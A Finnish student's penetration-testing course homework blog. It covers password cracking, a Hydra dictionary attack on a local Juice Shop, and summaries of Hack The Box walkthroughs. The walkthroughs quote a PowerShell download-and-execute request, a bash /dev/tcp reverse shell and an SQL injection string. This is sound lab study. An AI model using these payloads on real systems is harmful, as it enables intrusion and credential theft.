7. labra lähestyy

Kurssisivu ja tehtävät: https://terokarvinen.com/2021/hakkerointi-kurssi-tunkeutumistestaus-ict4tn027-3005/

a) Palauta kaikki.

  1. Kutsu, vuohi ja pimeän verkon päiväkirjat
  2. Kybertappoketju, nmap, metasploit ja harjoitusmaalit
  3. Social engineering
  4. Aktiivinen tiedustelu ja nmap
  5. Walktrough
  6. Hash

b) Tiedusteltu tiivistelmä – silmäile muiden kotitehtäväraportit, kerää lista parhaita komentoja ja havaintoja.

Hyvä kybertappoketju-tiivistelmä + esimerkkityökaluja:

https://www.arbexam.blog/penetration-testing-course-week-2/

Reconnaissance

2. Weaponization

  • Creating a deliverable payload. Tool: msfvenom

3. Delivery

4. Exploitation

  • Executing arbitrary code on the target system by using a vulnerability. Tools are often for only one vulnerability so I will just say search from Metasploit framework, searchsploit, or create your own.

5. Installation

  • Installing (multiple) ways to maintain persistence ranging from simple PHP reverse shell on the webserver or an added user on the system to more complex solutions. Tools: cobaltstrike
  • Includes often malware needed for other tasks as well depending on the objectives.

6. Command & Control (C2)

  • Way to use previously installed ways to execute commands on the target depending on the chosen technique.
  • Can often be via HTTPS, DNS, or SSH to avoid detection. Tools: cobaltstrike

7. Action on objectives

  • Using the installed malware and C2 channels doing what the adversary came to do whether it is exfiltrating data, spying, mining cryptocurrencies, or encrypting data (often combination of previous).

Samalla blogilla löytyi myös kokeiluja SQLMapilla, jonka olen itsekin kokeillut. Otin talteen. https://www.arbexam.blog/week-5-task-a/

Selkeä metasploitin komentokokoelma:

https://github.com/ahlrothanton/ict4tn027-3005/tree/main/h2

sudo msfdb init
sudo msfconsole
workspace -a <nimi>
db_nmap <ip-osoiteavaruus>
db_nmap -sV <ip-osoite>
setg RHOSTS <ip-osoite>

Shell upgrade to meterpreter

search shell_to_meterpreter
use 0
set LPORT 8080
set SESSION 1
exploit
sessions 2

Lisäksi Antonilla oli myös hyvä pätkä sql-injektioon, jonka halusin ottaa talteen.

' OR 1=1; select * from users#

c) Viimeistely.

Poistin salasanasuojauksen näistä, ei niissä oikeastaan ollut mielestäni mitään spoilereita:

4. Aktiivinen tiedustelu ja nmap

5. Walktrough

En tehnyt tässä vaiheessa muita muutoksia paitsi jotain ihan pieniä korjauksia tekstissä, mutta teen ehkä lisää testeja yms. myöhemmin.

6. hash

Kurssisivu ja tehtävät: https://terokarvinen.com/2021/hakkerointi-kurssi-tunkeutumistestaus-ict4tn027-3005/

Santos et al 2017: Security Penetration Testing – The Art of Hacking Series LiveLessons: Lesson 6: Hacking User Credentials 

Authentication and Authorization mechanisms

user credentials are stored in database or textfiles, for webapplications in SQL database, in active directory domain in proprietary database

Petya – exploited system using EternalBlue exploit, payload used mimikatz to dump credentials out of memory, then used the stolen credentials to attack other systems on the network using well known protocols PsExec and WMI (normal traffic in Windows)

Passwords need protection on both storage and when transmitted over the network -> encryption + limit access to storage + intrusion protection, endpoint protection, auditing – user: longer passwords + two-factor authentication

Authentication and Authorization attacks

  • default passwords
  • password reuse – one password to rule them all
  • simple passwords generated by humans
  • domain admin password – compromise all computers on network

capture credentials

  • sniffing – public hotspots, usually not encrypt traffic between network nodes
  • man-in-the-middle – capture traffic: telnet, ftp, pop3, imap, http etc.
  • attack encryption – spoof SSL certificate, downgrade SSH, spoof keys
  • physical connection – directly from network device
  • brute force – dictionary, table of credentials or hashes: automatically and systematically test against target
    • tools: Medusa, THC-Hydra, Brutus, Metasploit (auxiliary modules)
    • tools for brute forcing directories and files: Dirbuster, wfuzz

Credential attack

  • identify valid users -> attack passwords
    • enumerate users on network
      • SMB/NetBIOS/SAMBA – enumerate users in a Windows share using the Security Accounts Manager by brute forcing the RPC interface
      • Metasploit auxiliary scanner SMB module – smb_enumusers
      • Nmap – scripts especially for enumerating users via smb and snmp

Password storage mechanisms – hashing

  • one-way hashing is not encryption
  • hashing can be used to protect passwords
  • not reversible
  • computed quickly
  • always use salt when hashing
$ echo "cleartextpassword" | sha256sum

Password storage vulnerability

  • clear text passwords
  • crack passwords – faster CPUs and GPUs, distribute computations, weak algorithms, dictionaries built from password breaches, rainbow tables
    • linux passwords are salted – harder to crack

John the Ripper

  • Built in to Kali – john
  • Usage: john [options] [password files]
  • stores cracked password in john.pot

Hashcat

-m --hash-type
-a --attack-mode - brute force, wordlist
--show - show cracked passwords
--username - show usernames for cracked password
--potfile-path - choose where cracked passwords are stored

Improving password security

  • hashing algorithms are not enough
  • use salted hashes
  • secure password storage
  • strong passwords everywhere – longer passwords, better randomness
  • use two-factor authentication
  • use certificate based authentication

——————————————————————————————————————-

hashcat

Tietoa hashcatista löytyy https://github.com/hashcat/hashcat ja https://hashcat.net/hashcat/

hashcat is the world’s fastest and most advanced password recovery utility, supporting five unique modes of attack for over 300 highly-optimized hashing algorithms. hashcat currently supports CPUs, GPUs, and other hardware accelerators on Linux, Windows, and macOS, and has facilities to help enable distributed password cracking.

https://github.com/hashcat/hashcat

hashID

Identify the different types of hashes used to encrypt data and especially passwords. hashID is a tool written in Python 3 which supports the identification of over 220 unique hash types using regular expressions.

https://github.com/psypanda/hashID

Nämä kaksi työkalua kulkee käsi kädessä salasanojen murtaamisessa.

hashcatin syntax on: hashcat [options]… hash|hashfile|hccapxfile [dictionary|mask|directory]…

——————————————————————————————————————-

a) Googlen kärkeen – Vapaaehtoinen, mutta helppo ja suositeltava: lisää linkki tehtäviisi tämän sivun perään kommentiksi. Autat samalla kavereitasi, jotka voivat katsoa raporteistasi mallia.

Linkki julkaistu 🙂

——————————————————————————————————————-

b) Tee 3 tiivistettä eri ohjelmilla ja murra ne hashcatilla.

Ensin vähän teoriaa.

Hyvä artikkeli tiivisteiden ymmärtämiseen!

The hashdump post module will dump the local users accounts on the compromised host using the registry.

https://www.offensive-security.com/metasploit-unleashed/windows-post-gather-modules/

mimikatz is a tool I’ve made to learn C and make somes experiments with Windows security.

It’s well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory.

mimikatz can also perform pass-the-hash, pass-the-ticket, build Golden tickets, play with certificates or private keys, vault, … maybe make coffee?

https://github.com/gentilkiwi/mimikatz/wiki

Loin ensin pari käyttäjää.

Tunnukset löytyvät sen jälkeen /etc/shadow tiedostossa.

Tässä vaiheessa pohdin haluanko yksinkertaisesti kopioida pelkät tiivisteet uuteen tiedostoon, vai haluanko samalla tehdä ns. unshadow . Toiminto löytyy näköjään Johntheripperissä.

Kokeilin ensin copy paste metodilla.

Tässä vaiheessa tiivisteet ovat nyt tallennettuna omaan tiedostoon, ja haluan nyt tarkistaa millä metodilla tiivisteet on luotu. Tähän käytän hashID:tä.

hmm, eli ilmeisesti käyttäjätunnukset ei saisi olla mukana..Sekään ei kuitenkaan auttanut. Yritin vielä tehdä hashcatilla brute forcen, mutta ei onnistunut.

Ilmeisesti /etc/shadowin tiivisteet ovat erikoisesti suojattu, sillä yritin myös googlaamalla selvittää millä tiivisteet on luotu, mutta ei selvinnyt, eli en voinut tehdä hashcatilla tarkempaa hyökkäystä.

Päätin sittenkin luoda tiivisteet helpommin, sillä en halunnut tuhlata turhan paljon aikaa tiedostojen kanssa tappelemiseen.

Seuraavaksi tarkistin miten hashID tulkitsee tiivisteet.

Seuraavaksi murran tiivisteet hashcatilla. HashIDn tuloksista saan myös poimittua hashcatin modet. Päätin käyttää sanalistaa, sillä brute force varmaankin kestää liian kauan. Brute force hyökkäystyypin saa argumentilla -a3.

$ hashcat -m0 -m1700 -m100 hashes rockyou.txt -o solved.txt

En tiedä jos hashcat suostuu ottamaan vastaan kolme moodia, mutta näyttipä onnistuvan. Tajusin kuitenkin tässä vaiheessa, etten ollut lisännyt salasanat rockyou-listaan…

Päätin kuitenkin luoda uuden pienemmän listan, johon kopioin rockyoun 100 ensimmäistä ja lisäsin vielä omat salasanat.

Tällä kertaa hashcat onnistui murtamaan yhden kolmesta salasanasta… Näköjään kuitenkin löytyi myös toinen solved.txt tiedostossa, en nyt oikein ymmärrä tätä tulostuslogiikka. Käsittääkseni hashcatin pitäisi tulostaa kaikki murretut salasanat tiedostoon (jo on määritelty) tai outputina, eikä näin, että osa tulostetaan tiedostoon ja osa outputina, se on kummallista.

Jos sen jälkeen ajan komennon uudelleen, sillä kolmannesta salasanasta ei löytynyt merkintää, saan ilmoituksen “INFO: All hashes found in potfile!” Mutta kun tarkistan sen, sieltä löytyy ainoastaan yksi.

Jotain tietoa aiheesta löysin täältä. Ehkä se vain johtuu siitä, että samassa tiedostossa on eri tyyppisiä tiivisteitä.

——————————————————————————————————————-

c) Tee oma sanalista itse tekemästäsi ja keksimästäsi weppisivusta.

Ensin luon oman sivun, käytin apuna nämä ohjeet.

Luon yksinkertaisen html sivun, jonka julkaisen yksinkertaisen python webserverin avulla. Tein ensin kansion Omasivu johon tallensin index.html tiedoston ja käynnistin palvelimen kyseisestä kansiosta, jolloin se automaattisesti hakee index.html tiedoston.

$ mkdir Omasivu
$ cd Omasivu/
$ vim index.html
$ python -m SimpleHTTPServer

CeWL is a ruby app which spiders a given url to a specified depth, optionally following external links, and returns a list of words which can then be used for password crackers such as John the Ripper.

https://digi.ninja/projects/cewl.php

Seuraavaksi tutustun Cewliin, ja löysin sitä varten Raj Chandel’s Comprehensive Guide on Cewl Tool, joka vaikuttaa hyvältä.

Tarkistan ensin, että cewl jo löytyy Kalista.

Halusin tallentaa sanalistan tiedostoon, ja käytän sitä varten argumentin -w.

$ cewl http://localhost:8000/ -w dict.txt

——————————————————————————————————————-

d) Kokeile sanakirjahyökkäystä verkon yli omaan weppilomakkeeseen. (Vain omaan, eristetyssä verkossa olevaan lomakkeeseen. On kiellettyä tehdä näin kenenkään toisen koneelle.)

Halusin testata Juice Shopia. Python ei ole vielä kovin tuttu, ja vaikka löysin monta Python Flaskin tutorialeja, päätin antaa sen kuitenkin vielä hautua.

Juice Shopille löytyi asennusohjeet GitHubista.

$ sudo apt install nodejs
$ git clone https://github.com/bkimminich/juice-shop.git
$ cd juice-shop
$ sudo apt npm install
$ npm start

Törmäsin tässä kohtaa ongelmaan..

Jotain tietoa aiheesta löysin täältä ja Githubista. Tarkistin, että noden versio oli 12.21.0 ja käsittääkseeni pitäisi olla sama kuin juice shopissa. Eli poistan noden (sudo apt purge nodejs) ja kokeilen asentaa version 12.7.2.. Se oli kuitenkin vaikeampaa kuin kuvittelin, ja pitkän tutkistelun ja mietiskelyn jälkeen tajusin kokeilla toisin päin, eli asensin noden uusimman version ja latasin Juice-Shopin yhteensopivan version täältä.

$ mkdir Juice-shop
$ tar zxvf Downloads/juice-shop-12.2.1_node12_linux_x64.tgz -C Juice-shop\n
$ cd Juice-shop
$ sudo apt install npm
$ cd juice-shop_12.2.1
$ npm start

Tämän jälkeen Juice-shop löytyy vihdoinkin kohteessa http://localhost:3000

Seuraavaksi tuktin työkaluja

Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely.

https://tools.kali.org/password-attacks/hydra

Hydra brute forcing tutorial

Hydra on GitHub

hydra [some command line options] [-s PORT] TARGET PROTOCOL [MODULE-OPTIONS]

ffuf – Fuzz Faster U Fool

A fast web fuzzer written in Go.

https://github.com/ffuf/ffuf

Everything you need to know about fuff

Päätin kokeilla Hydraa, sillä siitä oli tunneilla niin paljon puhetta. Varmistan taas, että Hydra on jo asennettu Kalille.

Dictionary Attack will use a precompiled list of words or word list, this will speed up the cracking process over brute force because the program will only run through each word in the wordlist but if the word is not in said word list your attack will fail.

https://securitytutorials.co.uk/brute-forcing-passwords-with-thc-hydra/

Brute Force will crack a password by trying every possible combination of the password so, for example, it will try aaaa then aaab, aaac, aaae . This quite considerably increases the time the attack takes but reduces the likeliness of the attack to fail.

In hydra, you can use the -x to enable the brute force options.

https://securitytutorials.co.uk/brute-forcing-passwords-with-thc-hydra/
Hyvä cheat sheet – https://securitytutorials.co.uk/brute-forcing-passwords-with-thc-hydra/

Kokeilen tutorialin esimerkkiä ensin. Mutta ensin pitää löytää jonkun adminin käyttäjätunnusta. Se löytyikin helposti, sillä admin@juice-sh.op on arvostellut jotain etusivun tuotetta.

Tajusin, että tuohon pitää määritellä se nimenomainen palvelu, jota halutaan murtaa, eli tässä tapauksessa lomake. Muutaman kokeilun ja etsinnän jälkeen löysin täältä tarkentavat ohjeet. Jouduin kuitenkin vielä etsimään netistä ja man sivuilta ennen kuin lopulta löysin toimivan komennon.

$ hydra -t 4 -V -f -l admin@juice-sh.op -P rockyou.txt localhost -s 3000  http-form-post '/#/login:email=^USER^&password=^PASS^:Invalid email or password.'

Eipä kuitenkaan ollut oikea salasana, niinpä teen uuden murtoyrityksen ja poistan -f argumentin, sillä haluan, että se etsii kaikki mahdollisia.

hmm, eipä nämäkään toimineet.. Tämä tarkoittaa varmaankin sitä, että kyseinen salasana ei löydy rockyou sanalistalla. Kokeilen seuraavaksi brute forcea. Löysin Juice-shopista tiedon, että salasana on 5-20 merkkiä pitkä, muita vaatimuksia ei nähtävästi ollut. Tämä kuitenkin luo liian laajan scopen, eli hydra ei suostu tekemään sellaista.

Kokeilin vielä sanakirjahyökkäystä siten, että poistin argumentin -t 4. Mielestäni hydra ajoi hyökkäykset aika nopeasti ja en halunnut turhia rajoituksia. Nyt löytyikin sitten 16 salasanaa.

Mikään niistä ei kyllä toiminut… googlasin aihetta, ja löysin oikean salasanan täältä.

Salasana vaikuttaa mielestäni sellaiselta, että pitäisi löytyä rockyou listalla, joten tutkiskelin hieman sitä. Todistettavasti se myös löytyy, joten en nyt ymmärrä miten Hydra ei voinut sitä löytää…

———————————————————————————————————————–

e) Murra jonkin tiedoston salajanasuojaus.

Löysin taas Raj Chandel’s blogikirjoituksen aiheesta.

Loin uuden ensin file.txt tiedoston, johon asetin salasanan.

$ zip -er file.zip file.txt
    e = Encrypt
    r = Recurse into directories (tässä turha)

Jotta tiedoston voisi murtaa, täytyy ensin muuttaa sen muoto.

Sen jälkeen varmistin vielä, että valitsemani salasana löytyy rockyou listalla, ja tein murtoyrityksen Johntheripperilla.

Onnistui!

———————————————————————————————————————–

f) Vapaaehtoinen bonus: Kokeile sanakirjahyökkäystä verkon yli johonkin muuhun maaliin kuin weppiin.

Kokeilin hieman hydraa Metasploitable 2:een ssh palveluun. Ensin testasin brute forcea sanalla admin, ei löytynyt mitään. Sen jälkeen testasin vielä sanakirjaa, joka oli hidas.

Koska koko rockyou listan läpikäyminen näytti vievän aivan liian kauan, keskeytin sen ja kokeilin pienemällä listalla, mutta siinä ei näköjään ollut oikeata salasanaa mukana.

———————————————————————————————————————–

g) Vapaaehtoinen bonus: Murra useiden tiedostojen salasanasuojaukset.

RAR

Käytin aikaisempaa file.txt tiedostoa

$ rar a -hppassword123 file.rar file.txt

    a = Add files to archive
    hp[password] = Encrypt both file data and headers

Muutetaan taas ensin tiedoston muotoa. Käytän sen jälkeen Johntheripperia ja rockyou sanalistaa tiedoston murtamiseen.

5. walkthrough

Kurssisivu ja tehtävät: https://terokarvinen.com/2021/hakkerointi-kurssi-tunkeutumistestaus-ict4tn027-3005/

walktrough artikkeleita – https://0xdf.gitlab.io/

  1. HTB: Laboratory – https://0xdf.gitlab.io/2021/04/17/htb-laboratory.html

Tässä läpikäynnissä ja Linux koneessa on tarkoitus hyväksikäyttää GitLabin instanssia.

Tiedustelu – nmap, wfuzz, gobuster, searchsploit

  • avoimet portit 22/tcp ssh, 80/tcp http, 443/tcp https
  • sivustot laboratory.htb + git.laboratory.htb, GitLab versio 12.8.1
    • searchsploit tunnistaa arbitrary file read haavoittuvuuden GitLab versiossa 12.9
    • haavoittuvuus (CVE-2020-10977) “GitLab EE/CE 8.5 to 12.9 is vulnerable to a an path traversal when moving an issue between projects.” https://nvd.nist.gov/vuln/detail/CVE-2020-10977

Weaponization

  • hyötykuorman (payload) rakentaminen, samassa GitLab versiossa 12.8.1 (Docker)
    • sama secret_key_base /etc/gitlab/gitlab/rb :ssa kuin Laboratoryssa (avain käytetään allekirjoittamiseen siten, että käyttäjä ei voi tehdä muutoksia)
    • käytetty https://hackerone.com/reports/827052

Delivery

  • Python webserver + payloadin lähettäminen curlilla

Exploit

  • GitLab-rails console -> listaa käyttäjiä ja admin-käyttäjiä
    • dexter ainoa admin Laboratoryssa
    • salasanan nollaus
    • kirjautuminen git-laboratory.htb :hen dexterina -> hanki ssh-avain
  • hanki root

2. HTB: Optimum – https://0xdf.gitlab.io/2021/03/17/htb-optimum.html

Koodin etäsuorittamisen haavoittuvuus HttpFileServer ohjelmistossa Windows koneella.

Tiedustelu – nmap, searchsploit

  • 80/tcp http -> HttpFileServer 2.3
  • haavoittuvuus CVE-2014-6287 “The findMacroMarker function in parserLib.pas in Rejetto HTTP File Server (aks HFS or HttpFileServer) 2.3x before 2.3c allows remote attackers to execute arbitrary programs via a %00 sequence in a search action.”
    • searchsploit -x windows/webapps/49125.py

Shell as user

  • Powershell skripti – Invoke-PowerShellTcpOneLine.ps1
  • Python web palvelin + käynti http://10.10.10.8/?search=%00{.exec|C%3a\Windows\System32\WindowsPowerShell\v1.0\powershell.exe+IEX(New-Object+Net.WebClient).downloadString(‘http%3a//10.10.14.10/rev.ps1’).}
    • lataa tiedoston rev.ps1 -> sudo rlwrap nc -lnvp 443
    • grab user.txt.txt

Shell as root

  • etsii escalation pathejä winPEAS.exe -> 64-bit Windows Server 2012 R2
  • etsii haavoittuvuuksia Sherlock :lla (PS script) -> “Appears Vulnerable”, MS16-032, MS16-034, and MS16-135.
  • 32-bit istunto pitää muuttaa 64-bitiksi jotta haavoittuvuudet saa exploitattua
GET /?search=%00{.exec|C%3a\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe+IEX(New-Object+Net.WebClient).downloadString('http%3a//10.10.14.10/rev.ps1').} HTTP/1.1
Host: 10.10.10.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: HFS_SID=0.916518518235534
Upgrade-Insecure-Requests: 1

3. HTB: Haystack – https://0xdf.gitlab.io/2019/11/02/htb-haystack.html

ElasticSearch API + Kibana exploitteja

  • nmap
    • 2 web palvelinta nginx 1.12.2 80/tcp http, 9200/tcp wap-wsp + 22/tcp SSH
  • gobuster (web directory brute force)
    • ei tuloksia
  • sivusto 80 vain kuva -> strings -n 20 needle.jpg -> base64 koodattu “the needle in the haystack is ‘key'” (=clave)
  • sivusto 9200 -> ElasticSearch API
  • Localhostia kuuntelee myös palvelu portissa 5601 -> ssh port forwarding: ssh> -L 5601:localhost:5601
  • selaimessa kyseessä Kibana instanssi
    • haavoittuvuus CVE-2018-17246 “Kibana versions before 6.4.3 and 5.6.13 contain an arbitrary file inclusion flaw in the Console plugin. An attacker with access to the Kibana Console API could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.”
    • reverse shell Haystackista -> kibana -> pääsy lukemaan logstash config tiedostoja
      • Ejecutar comando: bash -c ‘bash -i >& /dev/tcp/10.10.14.8/443 0>&1’
    • root.txt

walktrough videoita –https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA/videos

  1. Mirai – linkki
  • nmap – avoimia portteja 22/tcp ssh, 53/tcp dns, 80/tcp http
    • http-title: website blocked
    • käynti sivustolla ei näyttää blockedia, samoin curl
    • burp näyttää myös 404 not found
      • host flagin vaihto johonkin muuhun (esim. test) -> näyttää website blocked sekä DNS nimen pi.hole
      • host = pi.hole -> 301 moved permanently, uudelleenohjaa /admin/
      • käynti sivustolla näyttää administrator sivun, eri default tunnusten kokeilu ei onnistu (github paljastaa, että käyttää random salasanaa)
  • DNS nimi viittaa siihen, että kyseessä on raspberry pi -laite
    • SSH raspberry pi laitteen default tunnuksilla onnistuu
      • user.txt
      • sudo -l paljastaa, että käyttäjä pi voi ajaa kaikki komennot roottina
        • root.txt tiedosto paljastuu kadonneeksi, mutta varmuuskopio saattaa löytyä usb:lla
        • /media/usbstick näyttää, että tiedosto on vahingossa poistettu
  • Poistetun tiedoston palauttaminen
    • strings /dev/sdb
    • grep + regex
    • root.txt flag löytyi, mutta itse tiedoston palauttaminen epäonnistui

2. Bank – linkki

  • nmap – avoimia portteja 22/tcp ssh, 80/tcp http apache, 53/tcp dns
  • DNS
    • nslookup -> bank.htb
    • dnsrecon
    • dig zone transfer enabloitu bank.htb :lla -> lisätty dns palvelin /etc/resolv.conf
  • Web
    • surffailu ip:llä vie Apachen default sivuun, mutta bank.htb vie eri sivuun
    • burp uudelleenohjaus 302 found -> login.php
    • DirSearch paljastaa login.php, index.php, support.php + /balance-transfer/
      • (todennäköisesti tahaton haava: burpilla pystyy muuttamaan 302 found rerouten 200 ok :ksi jolloin pääsee suoraan support.php sivulle)
      • surffaillaan bank.htb/balance-transfer/ -> pino enkryptattuja tiedostoja
        • wget :lla ladataan tiedostot sekä sortataan, jotta löydetään tiedosto, jossa kryptaus on epäonnistunut -> käyttäjän tunnukset
        • päästään kirjautumaan dashboardiin ja support sivulla pystyy lataamaan kuvia, jota voi hyödyntää saadaakseen code executionin ja reverse shelliin
    • eskaloituminen rootiksi ei onnistu mysql:n, ssh:n tai /etc/passwd:in kautta
    • Privesc enumeration script
      • LinEnum.sh – write-oikeudet /etc/passwd tiedostoon (todennäköisesti tahaton) -> rootin salasanaa voi vaihtaa jolloin pääse rootiksi vaikka ssh:lla
      • linuxprivchecker.py – löytyy /var/htb/bin/emergency joka on rootin omistama -> ajamalla antaa rootin

3. Sunday – linkki

  • nmap avoimet portit 79/tcp finger Sun Solaris, 111/tcp rpcbind
    • laajempi nmap skannaus (kaikki portit) + kohdennettu näyttää lisäksi 22022/tcp ssh
  • listataan finger
    • metasploit -> kertoo käyttäjät
    • finger-user-enum (perl skripti kloonattu githubista) kertoo enemmän
      • löytyy kiinnostavia käyttäjiä sammy ja sunny
  • sunny käyttäjäksi pääsee ssh:lla arvaamalla salasana (voi käyttää myös vaikka patator tai hydra (joka ei toimi koska liian vanha palvelu))
    • sunnylla on sudo oikeus /root/troll
    • löytyy myös shadow.backup josta saamme poimittua ja hashcatilla selvitettyä sammy käyttäjän salasanaa
  • sammy käyttäjällä sudo oikeus wget:iin, jonka avulla voi luoda ja ladata bash skripti troll, jonka sunny voi ajaa -> pääsy rootiksi ja root.txt

a) Etsi ja kokeile 5 uutta työkalua jostain lukemastasi/katsomastasi läpikävelystä.

wfuzz – a web application bruteforcer

Wfuzz is a tool designed for bruteforcing Web Applications, it can be used for finding resources not linked (directories, servlets, scripts, etc), bruteforce GET and POST parameters for checking different kind of injections (SQL, XSS, LDAP,etc), bruteforce Forms parameters (User/Password), Fuzzing,etc.

https://tools.kali.org/web-applications/wfuzz

Tutkin ensin mitä se tekee ja mitä toimintoja siinä on. Testaamiseen tarvitsen targetin ja payloadin (tai encoder/iterator/printer/script).

wfuzzin mukana tulee jotain valmiita wordlistoja, joita hyödynnän.

Käynnistin python testipalvelimen ja testasin wfuzzia sitä vastaan. Parametri -hc 404 filtteröi tuloksista 404 not found vastaukset. Tuloksia ei odotetusti löydy, sillä testipalvelimella ei pyöri mitään.

$ wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://localhost:8000/FUZZ

wfuzz vaikuttaisi olevan aika monimutkainen työkalu käyttää, mutta kunhan tajuaa miten toimii, voi olla erittäin hyödyllinen.

gobuster

Gobuster on samankaltainen kuin DirBuster mutta kirjoitettu Go-kielellä. Näillä voi tehdä esim brute force hyökkäys hakemistoihin.

Gobuster is a tool used to brute-force:

– URIs (directories and files) in web sites

– DNS subdomains (with wildcard support)

– Virtual Host names on target web servers

– Open Amazon S3 buckets

https://github.com/OJ/gobustergobus

Tämä ei löytynyt ennestään Kalilla, joten asennan sen ensin.

$ sudo apt install gobuster

Kokeilen taas gobusteria Python testipalvelinta vastaan ja käytän taas wordlistaa. Komento dir lsitaa hakemistot/tiedostot. Taaskaan ei odotetusti löytynyt mitään kiinnostavaa.

$ gobuster dir -u http://localhost:8000 -w /usr/share/wordlists/dirb/common.txt  

searchsploit

SearchSploit utility, which will allow you to search through exploits, shellcodes and papers (if installed) using one or more terms.

https://github.com/offensive-security/exploitdb

Searchsploitin manuaali löytyy sivulla https://www.exploit-db.com/searchsploit

HTB:n Laboratory koneessa ylläolevassa walktroughssa searchsploitin avulla tunnistettiin gitlab versio 12 haavoittuvuudet.

Alla löytyy searchsploitin löytämät haavoittuvuudet Apache 2.4:ssa.

burp

Burp Suite on monipuolinen työkalu pentestaukseen, sitä voi hyödyntää yksin tai muiden työkalujen kanssa. Burpia voi käyttää skannaamiseen tai hyökkäykseen. Burpin avulla voi esim siepata ja modifioida HTTP kyselyitä ja vastauksia. Hyviä tietoja Burpista ja sen käytöstä löysin sivulla https://portswigger.net/burp/documentation/desktop/penetration-testing

En kuitenkaan keksinyt mitään tapaa testata Burpia, ja se myös vaikutti todella monimutkaiselta, vaikkakin sitä käytettiin jokaisessa walktrough videossa jonka katsoin, eli olisi varmaan erittäin hyödyllinen. Tässä kotitehtävää tehdessäni ei riittänyt aika Burpsuiteen perehtymiseen, joten joudun siirtämän sen myöhemmäksi.

Sherlock -> Watson

Tutkiselin ensin Sherlock haavoittuvuusskanneria (https://github.com/rasta-mouse/Sherlock), joka on Windowsille toimiva Powershell skripti joka etsii puuttuvia ohjelmistopatcheja ja niiden kautta Privilege Escalation haavoittuvuuksia. Sherlock on näköjään vanhentunut ja sen sijaan tulisi käyttää Watsonia https://github.com/rasta-mouse/Watson. Watson skannaa Windowsia ja listaa puuttuvia KB:ta sekä niihin liittyviä mahdollisia Privilege Escalation haavoittuvuuksia.

b) Tiedustele ja analysoi 5 htb konetta perusteellisesti. Käytä ainakin nmap-porttiskanneria. Halutessasi voit käyttää lisäksi muita työkaluja, kuten eyewitness, nikto, wpscan, gobuster, gvm (openvas), msfconsole, ffuf, zaproxy, mitmproxy, sqlmap, searchsploit, exploitdb..

HTB: Spectra

Käytän walktrough videoiden tekijän nmap komentoa, sillä se vaikutti hyvältä.

$ nmap -sC -sV -oA spectra 10.10.10.229

Tästä tiedetään, että avoimia portteja ja palveluita on SSH 22, HTTP 80 jota kuuntelee nginx, MYSQL 3306 josta löytyy kaikenlaisia ssl ja tls erroreita sekä Blackice-icecap? 8081. Ensisilmäyksellä veikkaan, että haavoittuvuuksia löytyy mysql:ssä. Tutkin kuitenkin ensimmäisenä tuota blackice-icecap palvelua, sillä en ole sellaisesta ikinä kuullutkaan.

Blackice-icecap – googlettamalla löytyi vaihtoehtoja siitä, että nmap saattaa tulkita palvelun väärin pelkästään sen kuunteleman portin perusteella, tai kyseessä voi olla ICEcap manager, joka on BlackICE IDS Agents and Sentries hallintakonsoli ja kuuntelee porttia 8081 (https://www.exploit-db.com/exploits/19922). hallintakonsoliin pystyy mahdollisesti kirjautumaan default tunnuksilla, ellei niitä ole vaihdettu. Ensin pitää kuitenkin löytää login sivu…

Sivusto

Molemmat linkit antavat “Server not found”, urlit ovat http://spectra.htb/main/index.php ja http://spectra.htb/testing/index.php.

Portti 8081 taas vie hello world sivustoon, joka myös näkyy nmap tuloksissa.

Portin 3306 sivusto on kiinnostava ja todennäköisesti tämän koneen päämäärä, mihin myös nmap tulos “unauthorized” viittaisi.

wfuzz kertoo saman minkä sivustolla käynti, eli, että löytyy “main” ja “testing”.

Testaan mitä eyewitness sanoo siitä. Ei kerro paljon.

Kokeilin myös niktoa, joka on erittäin hidas, eikä antanut mitään tietoa. En muutenkaan oikein tajunnut mitä sen pitäisi tehdä.

Searchsploit kertoo joku mahdollinen exploitti, ssh ei ole näköjään hyvä kohde mutta nginx voisi olla.

Mutta searchsploit ei kuitenkaan anna paljon tietoa haavoittuvuuden hyväksikäyttämisestä.

Yritin myös käyttää tässä Burpsuitea, mutta en saanut sitä millään toimimaan. se ilmoitti haluavansa käyttää chromiumia, jossa on valmiiksi Burpin vaatimat asetukset, mutta en päässyt surffaamaan sivuille eikä näin ollen myöskään tutkimaan mitään liikennettä.

HTB: Delivery

Aloitan nmap skannauksella

Joka kertoo, että SSH 22 ja HTTP 80 ovat avoimina, käyttöjärjestelmä Debian 10 “buster”.

Ja tutkin sivustoa. Tässä eyewitness ei onnistunut oikein screenshotin kanssa…

wfuzz taas antaa tässä hyviä lisätietoja, jotka myös löytyy surffaamaalla welcome sivustolla. 301 on moved permanently, eli tästä voisi löytyä jotain.

Surffaamalla löytyy urlit http://helpdesk.delivery.htb/ ja http://delivery.htb:8065/

Teen uuden nmap skannauksen kaikista porteista (yllättävän nopea) ja tarkennan vielä portin 8065. En kuitenkaan saa selville mikä palvelu kuuntelee kyseistä porttia.

Googlettamalla kuitenkin selviää, että kyseinen portti saattaa liittyä nginx:ään ja mattermostiin, josta löytyy myös viittauksia sivustolla.

Tässä koneessa halutaan todennäköisesti löytää joku registered user, jota voimme hyväksikäyttää päästääksemme mattermost palvelimeen.

Kirjautumissivu löytyy aika helposti ja tässä voi myös luoda itselleen tilin.

Tässä on mielestäni hyvä kohde etsiä haavoittuvuuksia ja vaikka kokeilla injektionia.

HTB: ScriptKiddie

Aloitan nmapilla, joka kertoo, että SSH 22 ja 5000 http palvelulla Werkzeug ovat avoimina. Käyttöjärjestelmä Ubuntu, mahdollisesti Focal Fossa 20.04.

Laitan vielä allports skannauksen varmuudeksi pyörimään (tällä kertaa kesti todella kauan). Kun nmapin allports skannaus vihdoinkin on valmis, se ei ole löytänyt mitään uutta.

Werkzeug ei ole ennestään tuttu, joten etsin siitä tietoa. Kyseessä on CGI kirjasto ja se voi toimia myös yksinkertaisena web palvelimena.

